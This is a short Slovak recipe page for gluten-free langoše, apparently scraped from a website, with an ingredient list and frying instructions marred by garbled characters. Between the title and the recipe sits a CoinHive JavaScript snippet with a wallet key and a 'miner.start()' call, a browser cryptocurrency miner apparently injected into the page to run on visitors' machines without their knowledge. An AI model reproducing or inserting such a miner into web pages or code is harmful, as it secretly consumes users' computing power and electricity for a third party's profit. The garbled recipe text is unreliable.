Bezlepkové langose

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfihNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

Potrebujeme: 250 g Jizerka, 160 ml vlaznej vody, 1/3 ML cukor, "2 kocky drozdia, sof

Postup: VSetky ingrediencie spolu zmieSame a nechame 30 min(t kysnut. Tvarujeme mensie
alebo vacsie langose, nechame este 5 minit podkysnit a kratko prazime na oleji. Navrch dame
trochu keCupu a nastruhany syr.




